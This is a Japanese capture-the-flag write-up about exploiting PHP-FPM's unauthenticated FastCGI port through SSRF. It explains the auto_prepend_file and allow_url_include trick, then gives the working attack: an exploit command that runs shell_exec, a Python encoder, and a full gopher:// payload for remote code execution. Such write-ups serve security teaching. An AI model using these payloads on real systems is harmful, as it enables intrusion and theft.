問題紹介#
提示内容:“今回は fastcgi プロトコルを攻撃する必要があります。添付の文書が少し役立つかもしれません。”
問題の添付は記事のリンクです:Fastcgi プロトコル分析 && PHP-FPM 未承認アクセス脆弱性 && Exp 作成
関連概念、脆弱性解析#
FastCGI プロトコル#
関連資料の説明は以下の通りです:
静的ウェブサイトでは、WEB コンテナ(Apache、Nginx など)はコンテンツ配信者の役割を果たし、ユーザーのリクエストに応じてウェブサイトのルートディレクトリからページを返します。一方、動的ウェブサイトでは、WEB コンテナ(例えば Apache)はユーザーのリクエストに基づいて簡単な処理を行い、PHP インタプリタに渡します。Apache がユーザーからの index.php へのリクエストを受け取ると、CGI を使用している場合、対応する CGI プログラムを起動し、ここでは PHP のインタプリタに対応します。次に、PHP インタプリタは php.ini ファイルを解析し、実行環境を初期化し、リクエストを処理し、CGI 規定の形式で処理結果を返し、プロセスを終了し、Web サーバーが結果をブラウザに返します。これが完全な動的 PHP Web アクセスの流れです。
ここで言及されているのは CGI の使用ですが、FastCGI は高性能な CGI に相当し、CGI とは異なり、常駐する CGI のように起動後は常に実行され、データ処理のたびに毎回起動する必要がありません。したがって、以下の概念が導入されます。FastCGI は言語に依存しない、スケーラブルなアーキテクチャの CGI オープン拡張であり、その主な動作は CGI インタプリタプロセスをメモリに保持し、高いパフォーマンスを得ることです。
php-fpm#
では、php-fpm とは何でしょうか。公式の説明によれば、FPM(FastCGI プロセスマネージャ)は PHP FastCGI のほとんどの追加機能を置き換えるために使用され、高負荷のウェブサイトに非常に役立ちます。つまり、php-fpm は FastCGI の具体的な実装であり、その中でプロセスマネジメント機能を提供します。これにはマスタープロセスとワーカープロセスが含まれ、マスタープロセスは Web サーバーと通信して HTTP リクエストを受信し、リクエストをワーカープロセスに転送して処理させます。ワーカープロセスは主に PHP コードを動的に実行し、処理が完了したら結果を Web サーバーに返し、Web サーバーが結果をクライアントに送信します。
PHP-FPM
未承認アクセス脆弱性
脆弱性の存在点:PHP-FPM はデフォルトで 9000 ポートをリッスンしています。このポートがパブリックに公開されている場合、私たちは自分で fastcgi プロトコルを構築し、fpm と通信することができます。
ここでは nginx (iis7) の解析脆弱性と組み合わせる必要があります。
ユーザーがhttp://127.0.0.1/favicon.ico/.php にアクセスすると、アクセスされるファイルは favicon.ico ですが、.php 拡張子として解析されます。この指定されたファイルに関わる重要な変数は "SCRIPT_FILENAME" です。通常、SCRIPT_FILENAME の値は存在しないファイル /var/www/html/favicon.ico/.php であり、これは PHP 設定のオプション fix_pathinfo によって引き起こされた脆弱性です。PHP は Path Info モードをサポートするために fix_pathinfo を作成しました。このオプションが有効な場合、fpm は SCRIPT_FILENAME が存在するかどうかを判断し、存在しない場合は最後の / 以降のすべての内容を削除し、再度ファイルが存在するかどうかを判断し、ループを繰り返します。
fpm
のあるバージョン以前では、SCRIPT_FILENAME
の値を任意の拡張子のファイル(例えば/etc/passwd
)に指定することができました。
しかしその後、fpm
のデフォルト設定にsecurity.limit_extensions
というオプションが追加されました:
;security.limit_extensions = .php .php3 .php4 .php5 .php7
これは特定の拡張子のファイルのみがfpm
で実行されることを許可し、デフォルトは.php
です。
したがって、再度/etc/passwd
を渡すと、Access denied.
が返されます。
この設定項目の制限により、PHP-FPM
の未承認アクセス脆弱性を利用するには、まず既存のPHP
ファイルを見つける必要があります。幸いなことに、通常、ソースからphp
をインストールすると、サーバー上にはいくつかのphp
拡張子のファイルが付属しています。
今回の靶場では、自動的に付属するphp
ファイル/usr/local/lib/php/PEAR.php
を使用しました。
では、なぜfastcgi
プロトコル通信の内容を制御することでPHP
コードを実行できるのでしょうか?
先ほど述べたように、私たちは一時的にSCRIPT_FILENAME
を制御し、fpm
に任意のターゲットサーバー上のファイルを実行させることができますが、私たちが実行させたいファイルではありません。しかし、php.ini
には特別な設定項目auto_prepend_file
とauto_append_file
があります。前者はPHP
がターゲットファイルを実行する前に、指定されたファイルを先に含めることを許可し、後者はPHP
がターゲットファイルを実行した後にその指向するファイルを含めることを許可します。
したがって、auto_prepend_file
をphp://input
に設定すると、任意のphp
ファイルを実行する前にPOST
の内容を含めることになります。したがって、実行したいコードをBody
に置くだけで、それらが実行されます(これに加えて、リモートファイルを含めるオプションallow_url_include
を有効にする必要があります)。
では、auto_prepend_file
の値をどう設定するのでしょうか?
これにはPHP-FPM
の 2 つの環境変数、PHP_VALUE
とPHP_ADMIN_VALUE
が関係しています。これらの環境変数はPHP
設定項目を設定するために使用され、PHP_VALUE
はPHP_INI_USER
およびPHP_INI_ALL
モードのオプションを設定でき、PHP_ADMIN_VALUE
はすべてのオプションを設定できます。
(disable_functions
を除いて、このオプションはPHP
が読み込まれるときに決定され、範囲内の関数は直接PHP
コンテキストに読み込まれません。)
最後に、auto_prepend_file = php://input
およびallow_url_include = On
を設定し、実行したいコードをBody
に置くことで、任意のコードを実行できます。
関連するいくつかの重要なパラメータは以下の通りです:
{
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
提供された exp のリンクは:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
解題#
まず、9000
ポートをリッスンしてexp
を受信します。なぜなら、PHP-FPM
はデフォルトで9000
ポートをリッスンしているからです:nc -lvp 9000 > 1.txt
提供されたexp
を使用して以下のコマンドを実行します:
python ssrf_fastcgi_fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
xxd 1.txt
を使用してデータストリームとメタデータを同時に確認できます:
hexdump 1.txt
を使用してデータストリームのみを確認できます。
これだけでは直接利用できないため、url
エンコードを行う必要があります。簡単なpython
スクリプトを使用してエンコードします:
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
エンコードされた流量を得て、再度エンコードし、gopher
プロトコルを追加します:
gopher://127.0.0.1:9000/\_%2501%2501%2542%2549%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2542%2549%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2537%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%2542%2549%2500%2500%2500%2500%2501%2505%2542%2549%2500%2525%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2568%2565%256c%256c%255f%2565%2578%2565%2563%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%2542%2549%2500%2500%2500%2500
burp
に対応するリクエストパッケージの位置に貼り付け、リクエストを送信します:
図のように、サーバーのルートディレクトリにはファイルflag_78839d7acd24a4329a4205195d922fb6
が存在し、コマンドを変更してこのファイルを表示することで最終的なflag
を得ることができます。
また、Gopherusというツールを使用することもでき、exp
を使用するよりも簡単です:
参考記事: